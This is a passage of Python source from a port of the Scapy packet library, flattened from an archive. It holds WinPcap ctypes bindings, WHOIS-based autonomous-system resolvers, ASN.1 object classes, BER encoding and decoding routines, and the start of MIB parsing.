PCAP_SAMP_FIRST_AFTER_N_MS 2 # It defines that we have to return 1 packet every N milliseconds. PCAP_SAMP_FIRST_AFTER_N_MS=2 ############## ## Authentication methods supported by the RPCAP protocol ############## # define RPCAP_RMTAUTH_NULL 0 # It defines the NULL authentication. RPCAP_RMTAUTH_NULL=0 # define RPCAP_RMTAUTH_PWD 1 # It defines the username/password authentication. RPCAP_RMTAUTH_PWD=1 ############## ## Remote struct and defines ############## # define PCAP_BUF_SIZE 1024 # Defines the maximum buffer size in which address, port, interface names are kept. PCAP_BUF_SIZE = 1024 # define RPCAP_HOSTLIST_SIZE 1024 # Maximum lenght of an host name (needed for the RPCAP active mode). RPCAP_HOSTLIST_SIZE = 1024 class pcap_send_queue(Structure): _fields_=[("maxlen",c_uint), ("len",c_uint), ("buffer",c_char_p)] ## struct pcap_rmtauth ## This structure keeps the information needed to autheticate the user on a remote machine class pcap_rmtauth(Structure): _fields_=[("type",c_int), ("username",c_char_p), ("password",c_char_p)] ## struct pcap_samp ## This structure defines the information related to sampling class pcap_samp(Structure): _fields_=[("method",c_int), ("value",c_int)] #PAirpcapHandle pcap_get_airpcap_handle (pcap_t *p) # Returns the AirPcap handler associated with an adapter. This handler can be used to change the wireless-related settings of the CACE Technologies AirPcap wireless capture adapters. #bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data) # Returns if a given filter applies to an offline packet. pcap_offline_filter = _lib.pcap_offline_filter pcap_offline_filter.restype = c_bool pcap_offline_filter.argtypes = [POINTER(bpf_program),POINTER(pcap_pkthdr),POINTER(u_char)] #int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks) # Save a capture to file. pcap_live_dump = _lib.pcap_live_dump pcap_live_dump.restype = c_int pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int,c_int] #int pcap_live_dump_ended (pcap_t *p, int sync) # Return the status of the kernel dump process, i.e. tells if one of the limits defined with pcap_live_dump() has been reached. pcap_live_dump_ended = _lib.pcap_live_dump_ended pcap_live_dump_ended.restype = c_int pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int] #struct pcap_stat * pcap_stats_ex (pcap_t *p, int *pcap_stat_size) # Return statistics on current capture. pcap_stats_ex = _lib.pcap_stats_ex pcap_stats_ex.restype = POINTER(pcap_stat) pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)] #int pcap_setbuff (pcap_t *p, int dim) # Set the size of the kernel buffer associated with an adapter. pcap_setbuff = _lib.pcap_setbuff pcap_setbuff.restype = c_int pcap_setbuff.argtypes = [POINTER(pcap_t), c_int] #int pcap_setmode (pcap_t *p, int mode) # Set the working mode of the interface p to mode. pcap_setmode = _lib.pcap_setmode pcap_setmode.restype = c_int pcap_setmode.argtypes = [POINTER(pcap_t), c_int] #int pcap_setmintocopy (pcap_t *p, int size) # Set the minumum amount of data received by the kernel in a single call. pcap_setmintocopy = _lib.pcap_setmintocopy pcap_setmintocopy.restype = c_int pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int] #HANDLE pcap_getevent (pcap_t *p) # Return the handle of the event associated with the interface p. pcap_getevent = _lib.pcap_getevent pcap_getevent.restype = HANDLE pcap_getevent.argtypes = [POINTER(pcap_t)] #pcap_send_queue * pcap_sendqueue_alloc (u_int memsize) # Allocate a send queue. pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue) pcap_sendqueue_alloc.argtypes = [c_uint] #void pcap_sendqueue_destroy (pcap_send_queue *queue) # Destroy a send queue. pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy pcap_sendqueue_destroy.restype = None pcap_sendqueue_destroy.argtypes = [POINTER(pcap_send_queue)] #int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Add a packet to a send queue. pcap_sendqueue_queue = _lib.pcap_sendqueue_queue pcap_sendqueue_queue.restype = c_int pcap_sendqueue_queue.argtypes = [POINTER(pcap_send_queue), POINTER(pcap_pkthdr), POINTER(u_char)] #u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync) # Send a queue of raw packets to the network. pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit pcap_sendqueue_transmit.retype = u_int pcap_sendqueue_transmit.argtypes = [POINTER(pcap_t), POINTER(pcap_send_queue), c_int] #int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf) # Create a list of network devices that can be opened with pcap_open(). pcap_findalldevs_ex = _lib.pcap_findalldevs_ex pcap_findalldevs_ex.retype = c_int pcap_findalldevs_ex.argtypes = [STRING, POINTER(pcap_rmtauth), POINTER(POINTER(pcap_if_t)), STRING] #int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf) # Accept a set of strings (host name, port, ...), and it returns the complete source string according to the new format (e.g. 'rpcap://1.2.3.4/eth0'). pcap_createsrcstr = _lib.pcap_createsrcstr pcap_createsrcstr.restype = c_int pcap_createsrcstr.argtypes = [STRING, c_int, STRING, STRING, STRING, STRING] #int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf) # Parse the source string and returns the pieces in which the source can be split. pcap_parsesrcstr = _lib.pcap_parsesrcstr pcap_parsesrcstr.retype = c_int pcap_parsesrcstr.argtypes = [STRING, POINTER(c_int), STRING, STRING, STRING, STRING] #pcap_t * pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf) # Open a generic source in order to capture / send (WinPcap only) traffic. pcap_open = _lib.pcap_open pcap_open.restype = POINTER(pcap_t) pcap_open.argtypes = [STRING, c_int, c_int, c_int, POINTER(pcap_rmtauth), STRING] #struct pcap_samp * pcap_setsampling (pcap_t *p) # Define a sampling method for packet capture. pcap_setsampling = _lib.pcap_setsampling pcap_setsampling.restype = POINTER(pcap_samp) pcap_setsampling.argtypes = [POINTER(pcap_t)] #SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf) # Block until a network connection is accepted (active mode only). pcap_remoteact_accept = _lib.pcap_remoteact_accept pcap_remoteact_accept.restype = SOCKET pcap_remoteact_accept.argtypes = [STRING, STRING, STRING, STRING, POINTER(pcap_rmtauth), STRING] #int pcap_remoteact_close (const char *host, char *errbuf) # Drop an active connection (active mode only). pcap_remoteact_close = _lib.pcap_remoteact_close pcap_remoteact_close.restypes = c_int pcap_remoteact_close.argtypes = [STRING, STRING] #void pcap_remoteact_cleanup () # Clean the socket that is currently used in waiting active connections. pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup pcap_remoteact_cleanup.restypes = None pcap_remoteact_cleanup.argtypes = [] #int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf) # Return the hostname of the host that have an active connection with us (active mode only). pcap_remoteact_list = _lib.pcap_remoteact_list pcap_remoteact_list.restype = c_int pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING] scapy-0.23/scapy/as_resolvers.py000066400000000000000000000067251320561231000167600ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Resolve Autonomous Systems (AS). """ import socket from .config import conf class AS_resolver: server = None options = "-k" def __init__(self, server=None, port=43, options=None): if server is not None: self.server = server self.port = port if options is not None: self.options = options def _start(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.server,self.port)) if self.options: self.s.send(self.options+b"\n") self.s.recv(8192) def _stop(self): self.s.close() def _parse_whois(self, txt): asn,desc = None,b"" for l in txt.splitlines(): if not asn and l.startswith(b"origin:"): asn = l[7:].strip().decode('utf-8') if l.startswith(b"descr:"): if desc: desc += br"\n" desc += l[6:].strip() if asn is not None and desc.strip(): desc = desc.strip().decode('utf-8') break return asn, desc def _resolve_one(self, ip): self.s.send(b"".join([ip.encode('ascii')])+b"\n") x = b"" while not (b"%" in x or b"source" in x): x += self.s.recv(8192) asn, desc = self._parse_whois(x) return ip,asn,desc def resolve(self, *ips): self._start() ret = [] for ip in ips: ip,asn,desc = self._resolve_one(ip) if asn is not None: ret.append((ip,asn,desc)) self._stop() return ret class AS_resolver_riswhois(AS_resolver): server = "riswhois.ripe.net" options = b"-k -M -1" class AS_resolver_radb(AS_resolver): server = "whois.ra.net" options = b"-k -M" class AS_resolver_cymru(AS_resolver): server = "whois.cymru.com" options = None def resolve(self, *ips): ASNlist = [] try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.server,self.port)) s.send(b"begin\r\n"+b"\r\n".join([ i.encode('ascii') for i in ips])+b"\r\nend\r\n") r = b"" while 1: l = s.recv(8192) if l == b"": break r += l s.close() for l in r.splitlines()[1:]: if b"|" not in l: continue asn,ip,desc = [ i.decode('ascii') for i in map(bytes.strip, l.split(b"|")) ] if asn == "NA": continue asn = int(asn) ASNlist.append((ip,asn,desc)) except: pass return ASNlist class AS_resolver_multi(AS_resolver): resolvers_list = ( AS_resolver_cymru(),AS_resolver_riswhois(),AS_resolver_radb() ) def __init__(self, *reslist): if reslist: self.resolvers_list = reslist def resolve(self, *ips): todo = ips ret = [] for ASres in self.resolvers_list: res = ASres.resolve(*todo) resolved = [ ip for ip,asn,desc in res ] todo = [ ip for ip in todo if ip not in resolved ] ret += res return ret conf.AS_resolver = AS_resolver_multi() scapy-0.23/scapy/asn1/000077500000000000000000000000001320561231000145275ustar00rootroot00000000000000scapy-0.23/scapy/asn1/__init__.py000066400000000000000000000006001320561231000166340ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package holding ASN.1 related modules. """ # We do not import mib.py because it is more bound to scapy and # less prone to be used in a standalone fashion __all__ = ["asn1","ber"] scapy-0.23/scapy/asn1/asn1.py000066400000000000000000000225471320561231000157550ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ ASN.1 (Abstract Syntax Notation One) """ import random from scapy.config import conf from scapy.error import Scapy_Exception,warning from scapy.volatile import RandField from scapy.utils import Enum_metaclass, EnumElement class RandASN1Object(RandField): def __init__(self, objlist=None): if objlist is None: objlist = [ x._asn1_obj for x in [ x for x in ASN1_Class_UNIVERSAL.__rdict__.values() if hasattr(x,"_asn1_obj") ]] # objlist = map(lambda x:x._asn1_obj, # [ x for x in ASN1_Class_UNIVERSAL.__rdict__.values() if hasattr(x,"_asn1_obj") ]) self.objlist = objlist self.chars = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" def _fix(self, n=0): o = random.choice(self.objlist) if issubclass(o, ASN1_INTEGER): return o(int(random.gauss(0,1000))) elif issubclass(o, ASN1_IPADDRESS): z = RandIP()._fix() return o(z) elif issubclass(o, ASN1_STRING): z = int(random.expovariate(0.05)+1) return o(bytes([random.choice(self.chars) for i in range(z)])) elif issubclass(o, ASN1_SEQUENCE) and (n < 10): z = int(random.expovariate(0.08)+1) # return o(map(lambda x:x._fix(n+1), [self.__class__(objlist=self.objlist)]*z)) return o([ x._fix(n+1) for x in [self.__class__(objlist=self.objlist)]*z]) return ASN1_INTEGER(int(random.gauss(0,1000))) ############## #### ASN1 #### ############## class ASN1_Error(Scapy_Exception): pass class ASN1_Encoding_Error(ASN1_Error): pass class ASN1_Decoding_Error(ASN1_Error): pass class ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error): pass class ASN1Codec(EnumElement): def register_stem(cls, stem): cls._stem = stem def dec(cls, s, context=None): return cls._stem.dec(s, context=context) def safedec(cls, s, context=None): return cls._stem.safedec(s, context=context) def get_stem(cls): return cls.stem class ASN1_Codecs_metaclass(Enum_metaclass): element_class = ASN1Codec class ASN1_Codecs(metaclass = ASN1_Codecs_metaclass): #__metaclass__ = ASN1_Codecs_metaclass BER = 1 DER = 2 PER = 3 CER = 4 LWER = 5 BACnet = 6 OER = 7 SER = 8 XER = 9 class ASN1Tag(EnumElement): def __init__(self, key, value, context=None, codec=None): EnumElement.__init__(self, key, value) self._context = context if codec == None: codec = {} self._codec = codec def clone(self): # /!\ not a real deep copy. self.codec is shared return self.__class__(self._key, self._value, self._context, self._codec) def register_asn1_object(self, asn1obj): self._asn1_obj = asn1obj def asn1_object(self, val): if hasattr(self,"_asn1_obj"): return self._asn1_obj(val) raise ASN1_Error("%r does not have any assigned ASN1 object" % self) def register(self, codecnum, codec): self._codec[codecnum] = codec def get_codec(self, codec): try: c = self._codec[codec] except KeyError as msg: raise ASN1_Error("Codec %r not found for tag %r" % (codec, self)) return c class ASN1_Class_metaclass(Enum_metaclass): element_class = ASN1Tag def __new__(cls, name, bases, dct): # XXX factorise a bit with Enum_metaclass.__new__() for b in bases: for k,v in b.__dict__.items(): if k not in dct and isinstance(v,ASN1Tag): dct[k] = v.clone() rdict = {} for k,v in dct.items(): if type(v) is int: v = ASN1Tag(k,v) dct[k] = v rdict[v] = v elif isinstance(v, ASN1Tag): rdict[v] = v dct["__rdict__"] = rdict cls = type.__new__(cls, name, bases, dct) for v in cls.__dict__.values(): if isinstance(v, ASN1Tag): v.context = cls # overwrite ASN1Tag contexts, even cloned ones return cls class ASN1_Class(metaclass = ASN1_Class_metaclass): pass class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" ERROR = -3 RAW = -2 NONE = -1 ANY = 0 BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 STRING = 4 NULL = 5 OID = 6 OBJECT_DESCRIPTOR = 7 EXTERNAL = 8 REAL = 9 ENUMERATED = 10 EMBEDDED_PDF = 11 UTF8_STRING = 12 RELATIVE_OID = 13 SEQUENCE = 0x30#XXX 16 ?? SET = 0x31 #XXX 17 ?? NUMERIC_STRING = 18 PRINTABLE_STRING = 19 T61_STRING = 20 VIDEOTEX_STRING = 21 IA5_STRING = 22 UTC_TIME = 23 GENERALIZED_TIME = 24 GRAPHIC_STRING = 25 ISO646_STRING = 26 GENERAL_STRING = 27 UNIVERSAL_STRING = 28 CHAR_STRING = 29 BMP_STRING = 30 IPADDRESS = 0x40 COUNTER32 = 0x41 GAUGE32 = 0x42 TIME_TICKS = 0x43 SEP = 0x80 class ASN1_Object_metaclass(type): def __new__(cls, name, bases, dct): c = super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register_asn1_object(c) except: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class ASN1_Object(metaclass = ASN1_Object_metaclass): tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, val): self.val = val def enc(self, codec): return self.tag.get_codec(codec).enc(self.val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.val) def __str__(self): raise Exception("Should not get here") #return self.enc(conf.ASN1_default_codec) def __bytes__(self): return self.enc(conf.ASN1_default_codec) def strshow(self, lvl=0): return (" "*lvl)+repr(self)+"\n" def show(self, lvl=0): print(self.strshow(lvl)) def __eq__(self, other): return self.val == other def __hash__(self): return self.val def __cmp__(self, other): return cmp(self.val, other) class ASN1_DECODING_ERROR(ASN1_Object): tag = ASN1_Class_UNIVERSAL.ERROR def __init__(self, val, exc=None): ASN1_Object.__init__(self, val) self.exc = exc def __repr__(self): return "<%s[%r]{{%s}}>" % (self.__dict__.get("name", self.__class__.__name__), self.val, self.exc.args[0]) def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_force(ASN1_Object): tag = ASN1_Class_UNIVERSAL.RAW def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_BADTAG(ASN1_force): pass class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING def __init__(self, val): if type(val) is str: self.val = val.encode('ascii') elif type(val) is bytes: self.val = val else: raise Exception("Unknown value type for ASN1_STRING") class ASN1_BIT_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING class ASN1_PRINTABLE_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1_T61_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1_IA5_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1_NUMERIC_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class ASN1_VIDEOTEX_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class ASN1_IPADDRESS(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1_UTC_TIME(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME class ASN1_GENERALIZED_TIME(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class ASN1_TIME_TICKS(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS class ASN1_BOOLEAN(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN class ASN1_ENUMERATED(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1_NULL(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.NULL class ASN1_SEP(ASN1_NULL): tag = ASN1_Class_UNIVERSAL.SEP class ASN1_GAUGE32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class ASN1_COUNTER32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class ASN1_SEQUENCE(ASN1_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE def strshow(self, lvl=0): s = (" "*lvl)+("# %s:" % self.__class__.__name__)+"\n" for o in self.val: s += o.strshow(lvl=lvl+1) return s class ASN1_SET(ASN1_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class ASN1_OID(ASN1_Object): tag = ASN1_Class_UNIVERSAL.OID def __init__(self, val): if type(val) is str: val = val.encode('ascii') val = conf.mib._oid(val) ASN1_Object.__init__(self, val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), conf.mib._oidname(self.val)) def __oidname__(self): return '%s'%conf.mib._oidname(self.val) conf.ASN1_default_codec = ASN1_Codecs.BER scapy-0.23/scapy/asn1/ber.py000066400000000000000000000264551320561231000156650ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Basic Encoding Rules (BER) for ASN.1 """ from scapy.error import warning from scapy.utils import inet_aton,inet_ntoa from scapy.asn1.asn1 import ASN1_Decoding_Error,ASN1_Encoding_Error,ASN1_BadTag_Decoding_Error,ASN1_Codecs,ASN1_Class_UNIVERSAL,ASN1_Error,ASN1_DECODING_ERROR,ASN1_BADTAG ################## ## BER encoding ## ################## #####[ BER tools ]##### class BER_Exception(Exception): pass class BER_Encoding_Error(ASN1_Encoding_Error): def __init__(self, msg, encoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.encoded = encoded def __str__(self): s = Exception.__str__(self) if isinstance(self.encoded, BERcodec_Object): s+="\n### Already encoded ###\n%s" % self.encoded.strshow() else: s+="\n### Already encoded ###\n%r" % self.encoded s+="\n### Remaining ###\n%r" % self.remaining return s class BER_Decoding_Error(ASN1_Decoding_Error): def __init__(self, msg, decoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.decoded = decoded def __str__(self): s = Exception.__str__(self) if isinstance(self.decoded, BERcodec_Object): s+="\n### Already decoded ###\n%s" % self.decoded.strshow() else: s+="\n### Already decoded ###\n%r" % self.decoded s+="\n### Remaining ###\n%r" % self.remaining return s class BER_BadTag_Decoding_Error(BER_Decoding_Error, ASN1_BadTag_Decoding_Error): pass def BER_len_enc(l, size=0): if l <= 127 and size==0: return bytes([l]) s = b"" while l or size>0: s = bytes([l&0xff])+s l >>= 8 size -= 1 if len(s) > 127: raise BER_Exception("BER_len_enc: Length too long (%i) to be encoded [%r]" % (len(s),s)) return bytes([len(s)|0x80])+s def BER_len_dec(s): l = (s[0]) if not l & 0x80: return l,s[1:] l &= 0x7f if len(s) <= l: raise BER_Decoding_Error("BER_len_dec: Got %i bytes while expecting %i" % (len(s)-1, l),remaining=s) ll = 0 for c in s[1:l+1]: ll <<= 8 ll |= (c) return ll,s[l+1:] def BER_num_enc(l, size=1): x=[] while l or size>0: x.insert(0, l & 0x7f) if len(x) > 1: x[0] |= 0x80 l >>= 7 size -= 1 return bytes([(k) for k in x]) def BER_num_dec(s): x = 0 for i in range(len(s)): c = (s[i]) x <<= 7 x |= c&0x7f if not c&0x80: break if c&0x80: raise BER_Decoding_Error("BER_num_dec: unfinished number description", remaining=s) return x, s[i+1:] #####[ BER classes ]##### class BERcodec_metaclass(type): def __new__(cls, name, bases, dct): c = super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register(c.codec, c) except: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class BERcodec_Object( metaclass = BERcodec_metaclass): codec = ASN1_Codecs.BER tag = ASN1_Class_UNIVERSAL.ANY @classmethod def asn1_object(cls, val): return cls.tag.asn1_object(val) @classmethod def check_string(cls, s): if not s: raise BER_Decoding_Error("%s: Got empty object while expecting tag %r" % (cls.__name__,cls.tag), remaining=s) @classmethod def check_type(cls, s): cls.check_string(s) if hash(cls.tag) != (s[0]): raise BER_BadTag_Decoding_Error("%s: Got tag [%i/%#x] while expecting %r" % (cls.__name__, (s[0]), (s[0]),cls.tag), remaining=s) return s[1:] @classmethod def check_type_get_len(cls, s): s2 = cls.check_type(s) if not s2: raise BER_Decoding_Error("%s: No bytes while expecting a length" % cls.__name__, remaining=s) return BER_len_dec(s2) @classmethod def check_type_check_len(cls, s): l,s3 = cls.check_type_get_len(s) if len(s3) < l: raise BER_Decoding_Error("%s: Got %i bytes while expecting %i" % (cls.__name__, len(s3), l), remaining=s) return l,s3[:l],s3[l:] @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context cls.check_string(s) p = (s[0]) print(context, type(context)) if p not in context: t = s if len(t) > 18: t = t[:15]+b"..." raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) codec = context[p].get_codec(ASN1_Codecs.BER) return codec.dec(s,context,safe) @classmethod def dec(cls, s, context=None, safe=False): if not safe: return cls.do_dec(s, context, safe) try: return cls.do_dec(s, context, safe) except BER_BadTag_Decoding_Error as e: o,remain = BERcodec_Object.dec(e.remaining, context, safe) return ASN1_BADTAG(o),remain except BER_Decoding_Error as e: return ASN1_DECODING_ERROR(s, exc=e),"" except ASN1_Error as e: return ASN1_DECODING_ERROR(s, exc=e),"" @classmethod def safedec(cls, s, context=None): return cls.dec(s, context, safe=True) @classmethod def enc(cls, s): if type(s) is str: return BERcodec_STRING.enc(s) #TODO3 wild guess elif type(s) is bytes: return BERcodec_STRING.enc(s) else: return BERcodec_INTEGER.enc(hash(s)) ASN1_Codecs.BER.register_stem(BERcodec_Object) class BERcodec_INTEGER(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.INTEGER @classmethod def enc(cls, i): s = [] while 1: s.append(i&0xff) if -127 <= i < 0: break if 128 <= i <= 255: s.append(0) i >>= 8 if not i: break #s = map(chr, s) s = bytes(s) + BER_len_enc(len(s)) + bytes([hash(cls.tag)]) #s.reverse() #return b"".join(s) return s[::-1] @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) x = 0 if s: if (s[0])&0x80: # negative int x = -1 for c in s: x <<= 8 x |= (c) return cls.asn1_object(x),t class BERcodec_BOOLEAN(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN class BERcodec_ENUMERATED(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class BERcodec_NULL(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.NULL @classmethod def enc(cls, i): if i == 0: return bytes([hash(cls.tag)])+b"\0" else: return BERcodec_INTEGER.enc(i) class BERcodec_SEP(BERcodec_NULL): tag = ASN1_Class_UNIVERSAL.SEP class BERcodec_STRING(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.STRING @classmethod def enc(cls,s): if type(s) is str: s = s.encode('ascii') return bytes([hash(cls.tag)])+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) return cls.tag.asn1_object(s),t class BERcodec_BIT_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING class BERcodec_PRINTABLE_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class BERcodec_T61_STRING (BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class BERcodec_IA5_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class BERcodec_NUMERIC_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class BERcodec_VIDEOTEX_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class BERcodec_IPADDRESS(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS @classmethod def enc(cls, ipaddr_ascii): try: s = inet_aton(ipaddr_ascii) except Exception: raise BER_Encoding_Error("IPv4 address could not be encoded") return bytes([hash(cls.tag)])+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) try: ipaddr_ascii = inet_ntoa(s) except Exception: raise BER_Decoding_Error("IP address could not be decoded", decoded=obj) return cls.asn1_object(ipaddr_ascii), t class BERcodec_UTC_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME class BERcodec_GENERALIZED_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class BERcodec_TIME_TICKS(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS class BERcodec_GAUGE32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class BERcodec_COUNTER32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class BERcodec_SEQUENCE(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE @classmethod def enc(cls, l): #if type(l) is not str: if type(l) is not bytes: l = b"".join(map(lambda x: x.enc(cls.codec), l)) return bytes([hash(cls.tag)])+BER_len_enc(len(l))+l @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context l,st = cls.check_type_get_len(s) # we may have len(s) < l s,t = st[:l],st[l:] obj = [] while s: try: o,s = BERcodec_Object.dec(s, context, safe) except BER_Decoding_Error as err: err.remaining += t if err.decoded is not None: obj.append(err.decoded) err.decoded = obj raise obj.append(o) if len(st) < l: raise BER_Decoding_Error("Not enough bytes to decode sequence", decoded=obj) return cls.asn1_object(obj),t class BERcodec_SET(BERcodec_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class BERcodec_OID(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.OID @classmethod def enc(cls, oid): if type(oid) is str: oid = oid.encode('ascii') lst = [int(x) for x in oid.strip(b".").split(b".")] if len(lst) >= 2: lst[1] += 40*lst[0] del(lst[0]) s = b"".join([BER_num_enc(k) for k in lst]) return bytes([hash(cls.tag)])+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) lst = [] while s: l,s = BER_num_dec(s) lst.append(l) if (len(lst) > 0): lst.insert(0,lst[0]//40) lst[1] %= 40 return cls.asn1_object(b".".join([str(k).encode('ascii') for k in lst])), t scapy-0.23/scapy/asn1/mib.py000066400000000000000000000106411320561231000156520ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Management Information Base (MIB) parsing """ import re from glob import glob from scapy.dadict import DADict,fixname from scapy.config import conf from scapy.utils import do_graph ################# ## MIB parsing ## ################# _mib_re_integer = re.compile(b"^[0-9]+$") _mib_re_both = re.compile(b"^([a-zA-Z_][a-zA-Z0-9_-]*)\(([0-9]+)\)$") _mib_re_oiddecl = re.compile(b"$\s*([a-zA-Z0-9_-]+)\s+OBJECT([^:\{\}]|\{[^:]+\})+::=\s*\{([^\}]+)\}",re.M) _mib_re_strings = re.compile(b'"[^"]*"') _mib_re_comments = re.compile(b'--.*(\r|\n)') class MIBDict(DADict): def _findroot(self, x): if x.startswith(b"."): x = x[1:] if not x.endswith(b"."): x += b"." max=0 root=b"." for k in self.keys(): if x.startswith(self[k]+b"."): if max < len(self[k]): max = len(self[k]) root = k return root, x[max:-1] def _oidname(self, x): root,remainder = self._findroot(x) return root+remainder def _oid(self, x): if type(x) is str: x = x.encode('ascii') xl = x.strip(b".").split(b".") p = len(xl)-1 while p >= 0 and _mib_re_integer.match(xl[p]): p -= 1 if p != 0 or xl[p] not in self: return x xl[p] = self[xl[p]] return b".".join(xl[p:]) def _make_graph(self, other_keys=[], **kargs): nodes = [(k,self[k]) for k in self.keys()] oids = [self[k] for k in self.keys()] for k in other_keys: if k not in oids: nodes.append(self.oidname(k),k) s = 'digraph "mib" {\n\trankdir=LR;\n\n' for k,o in nodes: s += '\t"%s" [ label="%s" ];\n' % (o,k) s += "\n" for k,o in nodes: parent,remainder = self._findroot(o[:-1]) 